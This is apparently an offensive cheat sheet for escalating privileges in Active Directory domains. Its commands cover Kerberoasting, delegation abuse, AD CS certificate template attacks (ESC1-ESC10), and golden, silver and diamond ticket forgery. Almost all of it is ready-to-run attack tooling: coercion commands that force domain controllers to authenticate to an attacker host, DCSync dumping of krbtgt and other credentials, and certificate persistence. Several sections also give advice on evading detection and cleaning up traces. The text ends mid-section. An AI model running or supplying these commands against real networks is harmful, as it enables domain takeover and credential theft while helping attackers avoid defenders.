Domain Privilege Escalation#
Kerberoasting#
Request TGS tickets for accounts with SPNs and crack them offline to recover plaintext passwords.
Requirements: Any domain user account
Discovery & Enumeration#
# Rubeus - Check statistics before extracting
.\Rubeus.exe kerberoast /stats
# Shows count of kerberoastable accounts and encryption types
# Rubeus - List kerberoastable users without requesting tickets (stealthy)
.\Rubeus.exe kerberoast /nowrap /simple
# PowerView (if loaded)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description, pwdlastset, lastlogon
# Filter for high-value targets (accounts with admin description or old passwords)
Get-DomainUser -SPN | Where-Object {$_.description -match "admin" -or $_.pwdlastset -lt (Get-Date).AddYears(-2)}
# Native AD Module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, Description, PasswordLastSet, LastLogonDate
# Check for weak encryption (RC4 vs AES)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes
# Impacket (from Linux)
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
# Just list SPNs without requesting tickets
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -request false
# Filter by username pattern
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> | grep -i "svc\|service\|sql"
Request Tickets & Extract Hashes#
# Rubeus - Request all kerberoastable tickets
.\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
# Request only AES-enabled accounts (harder to crack but less suspicious)
.\Rubeus.exe kerberoast /aes /outfile:aes_hashes.txt /format:hashcat
# RC4 OPSEC mode (requests only RC4-enabled accounts to avoid downgrade detection)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes_rc4.txt /format:hashcat
# Target specific user (targeted approach, less noisy)
.\Rubeus.exe kerberoast /user:<TARGET_USER> /outfile:target_hash.txt /format:hashcat /nowrap
# Request tickets for specific domain (multi-domain environment)
.\Rubeus.exe kerberoast /domain:<CHILD_DOMAIN> /outfile:child_hashes.txt
# Use alternate credentials
.\Rubeus.exe kerberoast /creduser:<DOMAIN>\<USER> /credpassword:<PASSWORD> /outfile:hashes.txt
# Impacket - Request with password
impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -outputfile kerberoast_hashes.txt
# With NTLM hash
impacket-GetUserSPNs -request -dc-ip <DC_IP> -hashes :<NT_HASH> <DOMAIN>/<USER> -outputfile kerberoast.txt
# Request specific user only
impacket-GetUserSPNs -request-user <TARGET_USER> -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -outputfile target.txt
Crack Hashes Offline#
# Hashcat - TGS-REP (Kerberoasting) is mode 13100
hashcat -m 13100 hashes.txt /path/to/wordlist.txt
# With optimization flag (faster)
hashcat -m 13100 hashes.txt /path/to/wordlist.txt -O
# With rules for better coverage
hashcat -m 13100 hashes.txt /path/to/wordlist.txt -r rules/best64.rule
# Multiple wordlists
hashcat -m 13100 hashes.txt /path/to/wordlist1.txt /path/to/wordlist2.txt
# Show cracked passwords
hashcat -m 13100 hashes.txt --show
# John the Ripper
john --wordlist=/path/to/wordlist.txt --format=krb5tgs hashes.txt
# With rules
john --wordlist=/path/to/wordlist.txt --format=krb5tgs --rules hashes.txt
# Show cracked
john --show --format=krb5tgs hashes.txt
# Resume session
john --restore
Targeted Kerberoasting (Forced SPN)#
Add temporary SPN to target user (requires GenericAll/GenericWrite on user object).
# Check if you have write access to target user
Get-ObjectAcl -SamAccountName <TARGET_USER> -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteProperty"}
# Add fake SPN (requires write permission)
Set-ADUser -Identity <TARGET_USER> -ServicePrincipalNames @{Add='FakeService/vuln.host'}
# Verify SPN was added
Get-ADUser -Identity <TARGET_USER> -Properties ServicePrincipalName
# Kerberoast the user
.\Rubeus.exe kerberoast /user:<TARGET_USER> /outfile:target_hash.txt /format:hashcat
# Alternative with PowerView
Set-DomainObject -Identity <TARGET_USER> -Set @{serviceprincipalname='FakeService/vuln.host'}
# Remove SPN after attack (CRITICAL for cleanup)
Set-ADUser -Identity <TARGET_USER> -ServicePrincipalNames @{Remove='FakeService/vuln.host'}
# Verify removal
Get-ADUser -Identity <TARGET_USER> -Properties ServicePrincipalName
OPSEC Enhancements#
# Slow down requests to avoid detection (one request per X minutes)
# Manual approach: Request tickets one at a time with delays
foreach ($user in $kerberoastableUsers) {
.\Rubeus.exe kerberoast /user:$user /outfile:"$user.txt" /format:hashcat /nowrap
Start-Sleep -Seconds 300 # 5 minute delay
}
# Target only high-value accounts (admin-like descriptions)
Get-DomainUser -SPN | Where-Object {$_.description -match "admin|privileged|elevated"} | ForEach-Object {
.\Rubeus.exe kerberoast /user:$_.samaccountname /outfile:"$($_.samaccountname).txt"
}
# Avoid requesting tickets during off-hours (blend with normal activity)
$currentHour = (Get-Date).Hour
if ($currentHour -ge 8 -and $currentHour -le 17) {
.\Rubeus.exe kerberoast /outfile:hashes.txt
} else {
Write-Host "Outside business hours, skipping for OPSEC"
}
# Check for honeypot accounts (never logged in, created recently)
Get-DomainUser -SPN | Where-Object {
$_.lastlogon -eq $null -or
$_.whenCreated -gt (Get-Date).AddDays(-30)
} | Select-Object samaccountname, whenCreated, lastlogon
# Avoid kerberoasting these accounts
Unconstrained Delegation#
Computers with unconstrained delegation receive and store TGTs from connecting users. Abuse this by coercing authentication and stealing high-value TGTs.
Requirements: Compromise of system with unconstrained delegation, ability to coerce authentication
Discovery#
# PowerView - Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained | Select-Object samaccountname, dnshostname, operatingsystem
# Exclude Domain Controllers (they always have it)
Get-DomainComputer -Unconstrained | Where-Object {$_.useraccountcontrol -notmatch "SERVER_TRUST_ACCOUNT"} | Select-Object samaccountname
# Native AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True} | Select-Object Name, DNSHostName, OperatingSystem
# Filter out DCs
Get-ADComputer -Filter {TrustedForDelegation -eq $True -and PrimaryGroupID -ne 516} | Select-Object Name
# Check specific computer
Get-ADComputer -Identity <COMPUTER_NAME> -Properties TrustedForDelegation, userAccountControl
# Impacket (from Linux)
impacket-findDelegation <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>
# Check for user accounts with unconstrained delegation (rare but possible)
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-ADUser -Filter {TrustedForDelegation -eq $True}
Monitor for TGTs (From Compromised Delegated System)#
# Must be running as SYSTEM on the delegated computer
# Use PsExec or similar to elevate: psexec.exe -s -i cmd.exe
# Rubeus - Monitor for incoming TGTs
.\Rubeus.exe monitor /interval:5 /nowrap
# Filter for specific user (e.g., Domain Admin)
.\Rubeus.exe monitor /interval:5 /filteruser:<TARGET_USER> /nowrap
# Monitor with auto-renewal
.\Rubeus.exe monitor /interval:10 /targetuser:Administrator /nowrap
# Continuous monitoring until stopped
.\Rubeus.exe monitor /interval:3 /nowrap
# Rubeus - Dump current tickets from memory
.\Rubeus.exe triage
# Dump specific session's tickets
.\Rubeus.exe dump /luid:<LUID> /nowrap
# Dump all TGTs (requires SYSTEM)
.\Rubeus.exe dump /service:krbtgt /nowrap
Coerce Authentication#
Force target (e.g., DC) to authenticate to compromised delegated system.
# SpoolSample (PrinterBug) - Coerce DC to authenticate
# From attacker machine or compromised host
python3 SpoolSample.py <TARGET_DC> <COMPROMISED_DELEGATED_SERVER>
# Example
python3 SpoolSample.py DC01.contoso.local DELEGATED-SRV01.contoso.local
# PetitPotam - Coerce via MS-EFSRPC
python3 PetitPotam.py <COMPROMISED_SERVER_IP> <TARGET_DC_IP>
# With authentication (more reliable)
python3 PetitPotam.py -u <USER> -p <PASSWORD> <ATTACKER_IP> <TARGET_DC_IP>
# Specify alternative pipes
python3 PetitPotam.py -pipe lsarpc <ATTACKER_IP> <TARGET_DC_IP>
# DFSCoerce - Coerce via MS-DFSNM
python3 dfscoerce.py -u <USER> -p <PASSWORD> <ATTACKER_IP> <TARGET_IP>
# PrivExchange - Coerce Exchange server (if applicable)
python3 privexchange.py -u <USER> -p <PASSWORD> -d <DOMAIN> -ah <ATTACKER_IP> <EXCHANGE_SERVER>
Capture & Exploit TGT#
# 1. Start monitoring on delegated system (as SYSTEM)
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap
# 2. Coerce authentication (from another terminal/machine)
python3 PetitPotam.py <DELEGATED_SERVER_IP> <DC_IP>
# 3. Rubeus will capture TGT - copy the Base64 blob
# 4. Inject captured TGT into your session
.\Rubeus.exe ptt /ticket:<BASE64_TICKET_BLOB>
# 5. Verify ticket loaded
klist
# 6. Use ticket for DCSync or other privileged operations
# For computer account TGT (DC$), you can perform DCSync
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt
# Or with Impacket
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass <DOMAIN>/DC01$@<DC_FQDN> -just-dc
OPSEC Considerations#
# Detection indicators:
# - Workstation accounts requesting TGTs (unusual)
# - Computer accounts authenticating to non-DC systems
# - Rapid authentication followed by DCSync
# - Event ID 4624 (LogonType 3) from unexpected sources
# Better OPSEC:
# 1. Monitor during business hours only
$hour = (Get-Date).Hour
if ($hour -ge 8 -and $hour -le 18) {
.\Rubeus.exe monitor /interval:30
}
# 2. Target specific users instead of monitoring everything
.\Rubeus.exe monitor /filteruser:Administrator,DA-User1,DA-User2
# 3. Clean up captured tickets after use
.\Rubeus.exe purge
# 4. Coerce authentication from services, not directly from DC
# (less suspicious than DC authenticating to workstation)
Constrained Delegation#
Accounts configured for constrained delegation can impersonate users to specific services. Abuse S4U2Self and S4U2Proxy extensions.
Requirements: Compromise of account with constrained delegation configured
Discovery#
# PowerView - Find accounts with constrained delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto, operatingsystem
# Native AD Module
# User accounts
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, ServicePrincipalName
# Computer accounts
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, ServicePrincipalName
# Check for protocol transition (more dangerous)
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl |
Where-Object {$_.userAccountControl -band 0x1000000}
# Impacket
impacket-findDelegation <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>
Exploitation with Rubeus#
# Basic S4U attack (request ticket for arbitrary user to delegated service)
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<NTLM_HASH> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /ptt
# With AES key (stealthier)
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /aes256:<AES256_KEY> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /ptt
# Example: SQL service account with delegation to CIFS
.\Rubeus.exe s4u /user:sqlservice /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/dc01.contoso.local /ptt
# Request ticket without injecting (save to file)
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /outfile:ticket.kirbi
# Alternative SPN (abuse SPN flexibility)
# If delegated to cifs/server01, you can request http/server01, ldap/server01, etc.
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/server01.contoso.local /altservice:ldap /ptt
# Use alternate service names
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/server01 /altservice:http,ldap,host /ptt
# With TGT (if you already have one)
.\Rubeus.exe s4u /ticket:<BASE64_TGT> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /ptt
# Specify domain controller
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /dc:<DC_IP> /ptt
Exploitation with Impacket#
# getST.py - Request service ticket via S4U
impacket-getST -spn <TARGET_SPN> -impersonate Administrator -dc-ip <DC_IP> <DOMAIN>/<DELEGATED_ACCOUNT>:<PASSWORD>
# With NTLM hash
impacket-getST -spn <TARGET_SPN> -impersonate Administrator -hashes :<NT_HASH> <DOMAIN>/<DELEGATED_ACCOUNT>
# With AES key
impacket-getST -spn <TARGET_SPN> -impersonate Administrator -aesKey <AES256_KEY> <DOMAIN>/<DELEGATED_ACCOUNT>
# Request additional services
impacket-getST -spn cifs/server01.contoso.local -impersonate Administrator -additional-ticket ldap/server01.contoso.local <DOMAIN>/<DELEGATED_ACCOUNT>:<PASSWORD>
# Export ticket
export KRB5CCNAME=Administrator.ccache
# Use with Impacket tools
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
impacket-secretsdump -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
Protocol Transition Abuse#
If account has TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag, it can obtain tickets for ANY user (including protected accounts).
# Check for protocol transition
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties userAccountControl |
Where-Object {$_.userAccountControl -band 0x1000000}
# Exploitation (same as constrained delegation)
.\Rubeus.exe s4u /user:<ACCOUNT_WITH_PROTOCOL_TRANSITION> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:<TARGET_SPN> /ptt
# Can impersonate protected users (Domain Admins, etc.)
.\Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<HASH> /impersonateuser:krbtgt /msdsspn:<TARGET_SPN> /ptt
Resource-Based Constrained Delegation (RBCD)#
Attacker-controlled computer account can be configured to impersonate users to compromised resource. Requires write access to target’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
Requirements:
- GenericWrite/GenericAll/WriteProperty on target computer
- Ability to create computer accounts (default: 10 per user) or compromise existing computer
Discovery#
# PowerView - Find computers you can write to
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll" -and
$_.SecurityIdentifier -match "<YOUR_SID>"
}
# Check specific computer for write access
Get-ObjectAcl -Identity <TARGET_COMPUTER> -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll"
}
# Native AD - Check writeable computers
Find-InterestingDomainAcl | Where-Object {$_.IdentityReferenceName -eq "<YOUR_USER>"}
# Check MachineAccountQuota (how many computers you can create)
Get-DomainObject -Identity "DC=contoso,DC=local" -Properties ms-DS-MachineAccountQuota
Create Attacker-Controlled Computer Account#
# PowerShell with PowerMad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)
# Verify creation
Get-DomainComputer -Identity FAKE01
# Impacket (from Linux)
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ssw0rd!' -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
# StandIn (alternative)
.\StandIn.exe --computer FAKE01 --make
Configure RBCD on Target#
# PowerView/PowerMad - Set msDS-AllowedToActOnBehalfOfOtherIdentity
$ComputerSid = Get-DomainComputer -Identity FAKE01 -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer -Identity <TARGET_COMPUTER> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Verify configuration
Get-DomainComputer -Identity <TARGET_COMPUTER> -Properties msds-allowedtoactonbehalfofotheridentity
# Impacket rbcd.py (easier method)
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to '<TARGET_COMPUTER$>' -dc-ip <DC_IP> -action write <DOMAIN>/<USER>:<PASSWORD>
# Verify
impacket-rbcd -delegate-to '<TARGET_COMPUTER$>' -dc-ip <DC_IP> -action read <DOMAIN>/<USER>:<PASSWORD>
Exploit RBCD#
# Rubeus - Perform S4U attack from attacker-controlled computer
.\Rubeus.exe s4u /user:FAKE01$ /rc4:<FAKE01_NTLM_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_COMPUTER> /ptt
# Alternative services
.\Rubeus.exe s4u /user:FAKE01$ /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_COMPUTER> /altservice:ldap,http,host /ptt
# With AES key
.\Rubeus.exe s4u /user:FAKE01$ /aes256:<AES256_KEY> /impersonateuser:Administrator /msdsspn:host/<TARGET_COMPUTER> /ptt
# Impacket getST.py
impacket-getST -spn cifs/<TARGET_COMPUTER> -impersonate Administrator -dc-ip <DC_IP> <DOMAIN>/FAKE01$:'P@ssw0rd!'
# Export and use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_COMPUTER_FQDN>
Cleanup#
# Remove RBCD configuration (OPSEC)
Get-DomainComputer -Identity <TARGET_COMPUTER> | Set-DomainObject -Clear msds-allowedtoactonbehalfofotheridentity
# Or with Impacket
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to '<TARGET_COMPUTER$>' -dc-ip <DC_IP> -action remove <DOMAIN>/<USER>:<PASSWORD>
# Delete fake computer account
Remove-ADComputer -Identity FAKE01 -Confirm:$false
# Or with Impacket
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ssw0rd!' -dc-ip <DC_IP> -delete <DOMAIN>/<USER>:<PASSWORD>
AD CS (Active Directory Certificate Services) Exploitation#
Abuse misconfigured certificate templates for authentication and privilege escalation.
Requirements: AD CS deployed in environment, vulnerable certificate template
Discovery & Enumeration#
# Certify - Enumerate Certificate Authorities
.\Certify.exe cas
# Find vulnerable templates
.\Certify.exe find /vulnerable
# Find all templates (detailed info)
.\Certify.exe find
# Check specific CA
.\Certify.exe find /ca:<CA_NAME>
# Find writeable templates (for ESC4)
.\Certify.exe find /writeable
# Enumerate with user context
.\Certify.exe find /currentuser
# Certipy (Python - from Linux)
certipy find -u <USER>@<DOMAIN> -p '<PASSWORD>' -dc-ip <DC_IP> -vulnerable
# Full enumeration
certipy find -u <USER>@<DOMAIN> -p '<PASSWORD>' -dc-ip <DC_IP> -stdout
# Output to files
certipy find -u <USER>@<DOMAIN> -p '<PASSWORD>' -dc-ip <DC_IP> -text -stdout
ESC1 - Enrollee Supplies Subject (SubjectAltName)#
Certificate template allows enrollee to specify Subject Alternative Name (SAN), enabling impersonation.
Indicators:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
enabled- Template allows domain authentication
- Low-privileged users can enroll
# Certify - Request certificate with arbitrary SAN
.\Certify.exe request /ca:<CA_NAME> /template:<VULNERABLE_TEMPLATE> /altname:Administrator
# Save output certificate (cert.pem) and private key (cert.key)
# Convert to PFX (if needed)
# On Linux
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# On Windows (if you have cert.pem and cert.key)
certutil -MergePFX cert.pem cert.pfx
# Certipy (easier - does conversion automatically)
certipy req -u <USER>@<DOMAIN> -p '<PASSWORD>' -ca <CA_NAME> -template <TEMPLATE> -dc-ip <DC_IP> -altname Administrator
# Use certificate to request TGT
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:<PFX_PASSWORD> /ptt
# Or with Certipy
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
# Will provide both TGT and NT hash
ESC2 - Misconfigured Certificate Templates (Any Purpose EKU)#
Template with “Any Purpose” EKU or no EKU can be used for authentication.
# Request certificate
.\Certify.exe request /ca:<CA_NAME> /template:<VULNERABLE_TEMPLATE>
# Use for authentication (same as ESC1)
.\Rubeus.exe asktgt /user:<YOUR_USER> /certificate:cert.pfx /password:<PFX_PASSWORD> /ptt
ESC3 - Enrollment Agent Templates#
Abuse certificate with Certificate Request Agent EKU to request certificates on behalf of others.
# Step 1: Request enrollment agent certificate
.\Certify.exe request /ca:<CA_NAME> /template:<ENROLLMENT_AGENT_TEMPLATE>
# Step 2: Use enrollment agent cert to request certificate for another user
.\Certify.exe request /ca:<CA_NAME> /template:<ANY_TEMPLATE> /onbehalfof:<DOMAIN>\Administrator /enrollcert:agent.pfx /enrollcertpw:<PFX_PASSWORD>
# Step 3: Authenticate with obtained certificate
.\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:<PFX_PASSWORD> /ptt
ESC4 - Vulnerable Certificate Template Access Control#
Write access to certificate template allows modification to make it vulnerable.
# Find templates you can write to
.\Certify.exe find /writeable
# Modify template to enable ESC1 (add ENROLLEE_SUPPLIES_SUBJECT flag)
.\Certify.exe template /template:<TEMPLATE_NAME> /configuration "<CA_NAME>" /enrolleesuppliessubject /add
# Or enable authentication EKU
.\Certify.exe template /template:<TEMPLATE_NAME> /configuration "<CA_NAME>" /clientauth /add
# Request certificate with new configuration (ESC1 technique)
.\Certify.exe request /ca:<CA_NAME> /template:<TEMPLATE_NAME> /altname:Administrator
# Restore template (OPSEC - cleanup)
.\Certify.exe template /template:<TEMPLATE_NAME> /configuration "<CA_NAME>" /enrolleesuppliessubject /remove
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 Flag#
CA configured with EDITF_ATTRIBUTESUBJECTALTNAME2 allows SAN specification in any template.
# Check if CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled
.\Certify.exe cas
# Look for: "UserSpecifiedSAN : Enabled" in output
# If enabled, request ANY template with SAN specified
.\Certify.exe request /ca:<CA_NAME> /template:User /altname:Administrator
# Certipy check
certipy find -u <USER>@<DOMAIN> -p '<PASSWORD>' -dc-ip <DC_IP> -vulnerable
# Look for ESC6 in output
# Exploit with any enrollable template
certipy req -u <USER>@<DOMAIN> -p '<PASSWORD>' -ca <CA_NAME> -template User -dc-ip <DC_IP> -altname Administrator
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
ESC7 - Vulnerable Certificate Authority Access Control#
ManageCA or ManageCertificates rights allow approval of failed requests or modifying CA configuration.
# Check CA permissions
.\Certify.exe find /ca:<CA_NAME>
# If you have ManageCA rights, enable EDITF_ATTRIBUTESUBJECTALTNAME2
# Requires modification of CA configuration (advanced, not covered in Certify)
# Use certutil or CA MMC snap-in
# If you have ManageCertificates, approve pending requests
# Submit certificate request
.\Certify.exe request /ca:<CA_NAME> /template:SubCA
# Request will be in pending state. Approve it via CA management tools or:
certutil -resubmit <REQUEST_ID>
# Certipy can automate this
certipy req -u <USER>@<DOMAIN> -p '<PASSWORD>' -ca <CA_NAME> -template SubCA -dc-ip <DC_IP>
# If denied, use ESC7 technique
certipy ca -u <USER>@<DOMAIN> -p '<PASSWORD>' -ca <CA_NAME> -enable-template SubCA -dc-ip <DC_IP>
ESC8 - NTLM Relay to AD CS HTTP Endpoints#
Relay NTLM authentication to AD CS web enrollment endpoints to obtain certificate.
# Setup ntlmrelayx targeting AD CS
impacket-ntlmrelayx -t http://<ADCS_SERVER>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>
# Alternative endpoint
impacket-ntlmrelayx -t https://<ADCS_SERVER>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce authentication from target (e.g., DC)
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>
# Or use PrinterBug
python3 printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<DC_IP> <ATTACKER_IP>
# ntlmrelayx will capture authentication and request certificate
# Certificate saved as PFX file
# Use certificate to authenticate
.\Rubeus.exe asktgt /user:<DC>$ /certificate:dc_cert.pfx /password:<PFX_PASSWORD> /ptt
# Certipy can automate ESC8
certipy relay -target http://<ADCS_SERVER>/certsrv/certfnsh.asp -template DomainController
# Then coerce authentication
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>
ESC9 - No Security Extension#
Certificate template without security extension allows weak certificate mappings.
# Check for templates without required security extensions
.\Certify.exe find /vulnerable
# Look for templates missing msPKI-Certificate-Name-Flag or specific extensions
# Exploitation similar to ESC1/ESC2 depending on template configuration
.\Certify.exe request /ca:<CA_NAME> /template:<VULNERABLE_TEMPLATE>
ESC10 - Weak Certificate Mappings#
Certificate mappings that use weak identifiers (e.g., SAN only without strong checks).
# Enumeration
.\Certify.exe find /vulnerable
# Exploitation depends on specific weak mapping configuration
# May involve requesting certificates with specific SANs or UPNs
Certificate Persistence#
# Once you have elevated access, steal/backup certificates for persistence
# Export certificates from compromised system
# Via Mimikatz
crypto::certificates /export
# Or via certutil
certutil -store -user my > user_certs.txt
certutil -exportPFX -user my <CERT_SERIAL> cert_backup.pfx
# Request long-lived certificate for persistence
.\Certify.exe request /ca:<CA_NAME> /template:<TEMPLATE> /altname:Administrator
# Keep PFX safe for future access
# Certipy - backup all certificates
certipy shadow auto -u <USER>@<DOMAIN> -p '<PASSWORD>' -account <TARGET_USER>
OPSEC & Detection Evasion#
# Certificate request events to be aware of:
# - Event ID 4886: Certificate Services received request
# - Event ID 4887: Certificate Services approved and issued
# - Event ID 4768: Kerberos TGT requested (when using cert for auth)
# Better OPSEC practices:
# 1. Request certificates during business hours
$hour = (Get-Date).Hour
if ($hour -ge 8 -and $hour -le 17) {
.\Certify.exe request /ca:<CA> /template:<TEMPLATE>
}
# 2. Use templates that legitimate users would request
# Avoid obvious templates like "DomainController" or "Administrator"
# 3. Request for existing user accounts only (no fake SANs)
.\Certify.exe request /ca:<CA> /template:<TEMPLATE> /altname:<REAL_USER>
# 4. Clean up failed/denied requests
# Denied requests remain in CA database and can be investigated
# 5. Avoid ESC8 (NTLM relay) - extremely noisy and widely detected
Golden Ticket#
Forge Kerberos TGT using krbtgt account hash. Provides complete domain access and persistence.
Requirements: krbtgt NTLM hash or AES key, Domain SID
# Extract krbtgt hash via DCSync
lsadump::dcsync /user:<DOMAIN>\krbtgt
# Or with Impacket
impacket-secretsdump -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
# Get Domain SID
whoami /user # Take all except last segment (RID)
# Or: (Get-ADDomain).DomainSID
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /ptt
# With AES256 key (stealthier)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /aes256:<AES256_KEY> /ptt
# Realistic ticket lifetime (avoid 10-year defaults)
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /endin:600 /renewmax:10080 /ptt
# Impacket ticketer
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> Administrator
export KRB5CCNAME=Administrator.ccache
# Use ticket
klist
dir \\dc01\C$
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
Silver Ticket#
Forge service ticket (TGS) for specific service using service account hash. Doesn’t contact KDC.
Requirements: Service account NTLM hash or AES key, Domain SID, Target SPN
# Get service account hash (e.g., computer account for CIFS)
impacket-secretsdump <DOMAIN>/<USER>:<PASSWORD>@<TARGET_COMPUTER>
# Mimikatz - Create Silver Ticket for CIFS
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /target:<TARGET_FQDN> /service:cifs /rc4:<COMPUTER_HASH> /ptt
# Multiple services
.\Rubeus.exe silver /domain:<DOMAIN> /sid:<SID> /ticketuser:Administrator /service:cifs/<HOST_FQDN> /rc4:<HASH> /ptt
.\Rubeus.exe silver /domain:<DOMAIN> /sid:<SID> /ticketuser:Administrator /service:ldap/<HOST_FQDN> /rc4:<HASH> /ptt
# With AES256
.\Rubeus.exe silver /domain:<DOMAIN> /sid:<SID> /ticketuser:Administrator /service:host/<HOST_FQDN> /aes256:<AES_KEY> /ptt
# Impacket
impacket-ticketer -nthash <SERVICE_HASH> -domain-sid <SID> -domain <DOMAIN> -spn cifs/<TARGET_FQDN> Administrator
export KRB5CCNAME=Administrator.ccache
Diamond Ticket#
Modify legitimate TGT with krbtgt key to escalate privileges. Hybrid of legitimate and forged ticket - harder to detect than pure Golden Ticket.
Requirements: krbtgt AES key, valid low-privilege TGT
# Step 1: Get krbtgt AES key (DCSync or from NTDS)
lsadump::dcsync /user:krbtgt
# Extract AES256 key from output
# Step 2: Obtain legitimate TGT for low-privilege account
# Either dump existing ticket or request new one
.\Rubeus.exe asktgt /user:<LOW_PRIV_USER> /password:<PASSWORD> /outfile:user_tgt.kirbi
# Or dump from current session
.\Rubeus.exe dump /service:krbtgt /user:<CURRENT_USER> /nowrap
# Step 3: Create Diamond Ticket (upgrade privileges in existing TGT)
.\Rubeus.exe diamond /tgtdeleg /ticketuser:<LOW_PRIV_USER> /ticketuserid:<USER_RID> /groups:512,513,518,519,520 /krbkey:<KRBTGT_AES256_KEY> /nowrap /ptt
# Alternative: Use existing TGT file
.\Rubeus.exe diamond /ticket:<BASE64_TGT> /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_AES256_KEY> /ptt
# Specify target user to impersonate
.\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512,513,518,519,520 /krbkey:<AES256_KEY> /ptt
# Use diamond ticket
klist
dir \\dc01\C$
Diamond Ticket Parameters#
# Common group RIDs:
